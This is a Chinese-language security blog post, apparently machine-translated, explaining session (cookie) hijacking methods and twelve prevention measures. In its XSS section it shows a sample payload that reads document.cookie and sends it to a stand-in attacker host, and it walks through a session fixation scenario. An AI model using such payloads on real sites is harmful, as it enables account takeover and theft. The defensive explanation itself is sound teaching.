行业新闻与博客

会话劫持终极指南,也称为 Cookie 劫持





了解会话劫持的来龙去脉,以及如何保护自己和网站用户

没有人想让他们的珍贵饼干被盗。不,我们不是在谈论有人偷偷溜进您的厨房并清空饼干罐的美味内容。我们正在谈论会话劫持。



这是一种危险的网络攻击,您可能在不知不觉中容易受到攻击。实际上,最近的一项 Stake 研究发现,31%的电子商务应用程序容易受到会话劫持的攻击。会话劫持也称为 Cookie 劫持,是一种攻击类型,可能导致黑客获得对您的一个在线帐户或一个网站用户帐户的完全访问权限。



会话劫持是一个令人恐惧的概念,因为我们每天要登录多少站点。花一秒钟,考虑一下您每天访问多少个站点,这些站点需要您使用一组凭据登录。对于我们大多数人来说,这个数字远远超过一两个。随着越来越多的在线服务成为我们日益“互联”的生活方式的一部分,这个数字很可能会随着时间的推移而稳定增长。而且由于这些天我们在网上各处都存储着极其敏感的信息,例如信用卡号或社会保险号,因此后果可能是灾难性的。



那么会话劫持到底如何工作?攻击者可以使用哪些不同的方法来执行它?您如何做才能保护自己免受他们的攻击?



什么是会议?

在进行会话劫持之前,让我们首先回顾一下“会话”的确切含义。HTTP 本质上是无状态的,这意味着每个请求都是独立执行的,并且不了解先前执行的请求。实际上,这意味着您必须为浏览的每个页面再次输入用户名和密码。结果,开发人员需要创建一种方法来跟踪来自同一用户的多个连接之间的状态,而不是要求他们在 Web 应用程序的每次单击之间重新进行身份验证。



会议是解决方案。它们充当两个设备(例如您的 PC 和 Web 服务器)之间的一系列交互。登录应用程序时,将在服务器上创建一个会话。这将保持状态,并且在您将来提出的任何请求中都会引用该状态。







应用程序使用这些会话来跟踪用户特定的参数,并且在用户保持登录状态时它们保持活动状态。当您注销时,或者经过一段特定的闲置时间后,会话将被破坏。此时,用户数据将从分配的存储空间中删除。



会话 ID 是此过程的关键部分。它们是一个字符串,通常是随机的字母数字,在服务器和客户端之间来回发送。根据网站的编码方式,您可以在 Cookie,URL 和网站的隐藏字段中找到它们。



包含会话 ID 的 URL 可能类似于:



www.mywebsite.com/view/99D5953G6027693



在 HTML 页面上,会话 ID 可能存储为隐藏字段:



<输入类型=“隐藏”名称=“会话 ID”值=“ 19D5Y3B”>



尽管会话 ID 很有用,但使用它们也会带来潜在的安全问题。如果有人获得了您的会话 ID,则他们实际上可以登录该网站上的您的帐户。



一个普遍的问题是,许多站点都基于可预测的变量(例如当前时间或用户的 IP 地址)来生成会话 ID,这使得攻击者很容易确定它们。另一个问题是,如果没有 SSL / TLS,它们将以公开方式传输,并且容易被窃听。不幸的是,这些漏洞可能使您容易遭受会话劫持。



什么是会话劫持?

会话劫持发生在攻击者接管用户会话时。如前所述,当您登录 Web 应用程序时,服务器会在浏览器中设置一个临时会话 cookie。这样,远程服务器就可以记住您已登录并通过身份验证。由于这种攻击要求攻击者了解您的会话 cookie,因此有时也称为 cookie 劫持。它是攻击 Web 上客户端身份验证的最流行方法之一。



黑客需要知道受害者的会话 ID 才能进行会话劫持。可以通过几种不同的方式来获得它(稍后会详细介绍),包括窃取会话 cookie 或诱使用户单击包含准备好的会话 ID 的恶意链接。无论哪种方式,攻击者都可以在自己的浏览器会话中使用被盗的会话 ID 来控制会话。基本上,服务器会以为欺骗者认为攻击者的连接与真实用户的原始会话相同。







一旦黑客劫持了会话,他们就可以执行原始用户有权执行的任何操作。根据目标网站的不同,这可能意味着以欺诈方式购买商品,访问可用于身份盗窃的详细个人信息,窃取公司机密数据或仅耗尽您的银行帐户。这也是发起勒索软件攻击的简便方法,因为黑客可以窃取然后加密有价值的数据。



对于大型企业而言,其影响甚至更大,因为 cookie 通常用于在单点登录系统(SSO)中对用户进行身份验证。这意味着成功的攻击可以使攻击者立即访问多个 Web 应用程序,包括财务系统,客户数据库以及包含有价值知识产权的存储位置。不用说,无论您是谁,会话劫持都没有好处。



那么会话劫持实际上是如何执行的呢?黑客可以使用几种不同的方法。



会话劫持的常见方法

会话固定

会话固定攻击利用了系统的漏洞,该漏洞允许某人固定(也就是查找或设置)另一个用户的会话 ID。这种类型的攻击依靠网站从 URL 接受会话 ID,通常是通过网络钓鱼尝试。例如,攻击者通过电子邮件将链接发送给包含特定会话 ID 的目标用户。当用户单击链接并登录到网站时,攻击者将知道正在使用的会话 ID。然后可以使用它劫持会话。确切的攻击顺序如下:




  1. 攻击者确定 http://www.unsafewebsite.com/ 接受任何会话标识符,并且没有安全验证。

  2. 攻击者向受害者发送了一封网络钓鱼电子邮件,内容为:“您好,马克,请从我们的银行查看此新帐户功能。” 该链接将受害者定向到 http://unsafewebsite.com/login?SID=123456。在这种情况下,攻击者试图将会话 ID 固定为 123456。

  3. 受害者单击链接,然后弹出常规登录屏幕。似乎什么都没错,受害者正常登录。

  4. 攻击者现在可以访问 http://unsafewebsite.com/?SID=123456 并具有对受害者帐户的完全访问权限。







会话

会话嗅探是指黑客使用数据包嗅探器(例如 Wireshark)在数据包通过网络连接流动时对其进行拦截和记录。会话 cookie 是此流量的一部分,会话嗅探使攻击者可以找到并窃取它们。



当仅在登录页面上使用 SSL / TLS 加密时,一个使站点容易进行会话嗅探的常见漏洞。这样可以防止攻击者查看用户的密码,但是,如果网站的其余部分未使用 SSL / TLS,则可能会发生会话劫持。黑客将能够使用数据包嗅探来监视网络上其他所有人的流量,其中包括会话 cookie。 



公共 Wi-Fi 网络尤其容易受到此类会话劫持攻击的攻击。由于没有针对网络的用户身份验证,黑客只需登录并使用数据包嗅探器就可以查看大多数网络流量。同样,黑客可以创建自己的访问点并执行中间人攻击以获得会话 ID 并进行会话劫持攻击。







跨站脚本

跨站点脚本(XSS)攻击使用户的计算机欺骗执行恶意代码,尽管它认为它很安全,因为它似乎来自受信任的服务器。当脚本运行时,它使黑客可以窃取 cookie。



利用服务器或应用程序漏洞将客户端脚本(通常是 JavaScript)注入到网页中,从而导致浏览器在加载受损页面时执行代码。如果服务器未在会话 cookie 中设置 HttpOnly 属性,则恶意脚本可能会获取您的会话 ID。



执行会话劫持的跨站点脚本攻击的一个示例是,攻击者将带有特殊链接的电子邮件发送到已知的受信任网站。但是要注意的是,该链接还包含 HTTP 查询参数,这些参数利用已知的漏洞来注入脚本。



对于会话劫持,作为 XSS 攻击一部分的代码可以将受害者的会话密钥发送到攻击者自己的站点。例如:



http://www.yourbankswebsite.com/search?<script> location.href ='http://www.evilattacker.com/hijacker.php?cookie ='+ document.cookie; </ script>



在这里,document.cookie 命令将读取当前会话 cookie,并通过 location.href 命令将其发送给攻击者。这是一个简化的示例,在实际攻击中,链接很可能会使用字符编码和 / 或 URL 缩短来隐藏链接的可疑部分。



恶意软件

恶意软件和其他恶意第三方程序也可能导致会话劫持。黑客将恶意软件设计为执行数据包嗅探并将其设置为专门查找会话 cookie。当它找到一个时,它会窃取它并将其发送给攻击者。该恶意软件基本上是对用户执行自动会话嗅探攻击。 



窃取会话 ID 的另一种更直接的方法是通过恶意软件或直接在本地或远程连接到用户的计算机来访问用户的计算机。然后,攻击者可以导航到浏览器的临时本地存储文件夹或“ cookie 罐”,以及他们想要的任何 cookie。



蛮力

最后,黑客可以尝试自行确定会话 ID。这可以通过两种方法之一来实现。首先,他们可以尝试猜测会话 ID。如果会话 ID 基于易于预测的变量(如我们前面提到的),例如用户的 IP 地址或当前时间或日期,则这可以成功。顺序会话 ID 经常在 Web 的早期使用,但由于其易于识别的模式而不再使用。 



也可以使用蛮力攻击,其中攻击者尝试从集合列表中反复使用各种会话 ID。如果会话 ID 格式由相对较少的字符组成,这实际上只是会话劫持的一种可行方法。



通过使用正确的算法来生成会话 ID,可以轻松缓解这两种攻击方法。通过使用创建由随机字母和数字组成的冗长会话 ID 的代码,黑客几乎不可能对您的用户执行会话劫持。



如何防止会话劫持

尽管黑客可以采用多种不同的方式进行会话劫持攻击,但好消息是,您可以采用相对简单的安全措施和最佳实践来保护自己。不同的方法可以防止不同的会话劫持方法,因此您将要尽可能制定它们。以下是一些最常用的预防措施:



1.在整个站点上使用 HTTPS 

如我们所见,仅在登录页面上使用 HTTPS 并不能使您完全避免会话劫持。在整个站点上使用 SSL / TLS,以加密各方之间传递的所有流量。这包括会话密钥。HTTPS-Everywhere 被主要的银行和电子商务系统广泛使用,因为它可以完全防止嗅探攻击。



2.使用安全 Cookie 标志

应用程序服务器可以在发送新 Cookie 作为 HTTP 响应的一部分时设置安全标志。这告诉用户浏览器仅通过 HTTPS 发送 cookie-绝不应该通过 HTTP 发送 cookie。这样可以防止攻击者以明文形式发送 Cookie 时查看它们。



3.使用长而随机的会话 ID

通过使用较长的随机数或字符串作为会话 ID,可以大大降低通过反复试验或蛮力攻击而被猜测的风险。



4.登录后重新生成会话 ID

这样可以防止会话固定,因为会话 ID 将在用户登录后更改。即使攻击者诱骗用户单击具有固定会话 ID 的链接,他们也将无能为力。登录后,其固定的会话 ID 将立即变得一文不值。



5.执行二级检查

其他检查可以帮助验证用户的身份。例如,服务器可以检查特定请求的用户 IP 地址是否与先前请求所使用的 IP 地址匹配。但是,值得注意的是,此特定解决方案可能会为 IP 地址更改的用户带来问题,并且不能阻止来自共享相同 IP 地址的人的攻击。



6.更改 Cookie 值

有些服务可以在每次请求后更改 cookie 的值。从技术上讲,由于您不能直接修改 Cookie,因此实际上您将使用新值创建一个新 Cookie,并将其发送到浏览器以覆盖旧版本。这极大地减小了发生攻击的窗口,并使识别攻击是否发生变得更加容易。但是请注意,来自同一客户端的两个时间紧迫的请求可能会导致令牌检查错误。在这种情况下,您可以改为将 Cookie 的到期时间更改为不会导致错误的最短时间。



7.完成后注销

安全使用它,并在使用完所有网站后退出网站。



8.使用反恶意软件

始终在服务器端和客户端计算机上使用反恶意软件。这将防止 cookie 窃取软件进入您的系统。



9.不接受来自 GET / POST 变量的会话 ID

URL 中的会话 ID(查询字符串或 GET 变量)或 POST 变量使会话劫持变得容易。如我们所见,攻击者通常会进行链接或设置这些变量的表格。



10.仅接受服务器生成的会话 ID

这很简单。仅接受来自受信任源(在这种情况下为服务器)的会话 ID。



11.超时非活动会话

这减少了进行攻击的时间范围,并保护了黑客避免访问无人看管的计算机。



12.销毁可疑引荐来源

当浏览器访问页面时,它将设置 Referrer 标头。这包含您访问该页面所遵循的链接。解决会话劫持的一种方法是检查引荐标题,如果用户来自外部站点,则删除会话。



涵盖所有基地以防止会话劫持

如我们所见,不同的安全措施将防止不同的会话劫持方法。通过一起使用这些设置和最佳实践,可以确保您获得针对会话劫持的最全面的保护。



例如,使用 HTTPS 完全可以防止嗅探类型的会话劫持,但是如果您单击指向跨站点脚本攻击(XSS)的网络钓鱼链接或使用容易猜测的会话 ID,则它无法提供保护。适当的安全措施和有效的培训相结合,是确保安全的唯一保证。







如果您正在寻找最佳的起点来保护自己免受会话劫持,那么站点范围的 HTTPS 是您最好和最简单的选择。对纯文本 HTTP 说不,并使用我们的技巧来防止会话劫持!



非常感谢您对亚洲注册的支持与信任!

禁止转载

需要帮助吗?联系我们的支持团队 在线客服